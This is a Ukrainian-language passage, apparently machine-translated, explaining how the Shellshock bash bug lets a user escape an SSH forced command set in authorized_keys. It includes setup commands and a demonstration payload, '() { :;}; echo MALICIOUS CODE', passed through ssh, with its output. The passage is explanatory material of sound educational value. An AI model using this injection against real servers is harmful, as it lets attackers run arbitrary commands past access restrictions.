Одним із прикладів, коли це можна використати, є сервери з authorized_keysпримусовою командою. При додаванні запису в ~/.ssh/authorized_keys, ви можете випередити лінію , command="foo"щоб змусити fooбути запущений в будь-який час , що SSH використовується відкритий ключ. За допомогою цього подвигу, якщо встановлено оболонку цільового користувача bash, вони можуть скористатися цим експлуатацією для запуску речей, окрім команди, до якої вони змушені.
Це, мабуть, має більше сенсу в прикладі, тому ось приклад:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Тут ми створили користувача testuser, який змушує запускати будь-які ssh-з'єднання за допомогою вашого ключа ssh echo starting sleep; sleep 1.
Ми можемо перевірити це за допомогою:
$ ssh testuser@localhost echo something else
starting sleep
Зверніть увагу, як наші echo something elseне запускаються, але starting sleepпоказує, що примусова команда виконувалася.
Тепер покажемо, як можна використовувати цей подвиг:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Це працює, тому що sshdвстановлює SSH_ORIGINAL_COMMANDзмінну середовища для переданої команди. Тож хоч і sshdпобіг sleep, а не команда, яку я йому сказав, через міркування мій код все-таки запускається.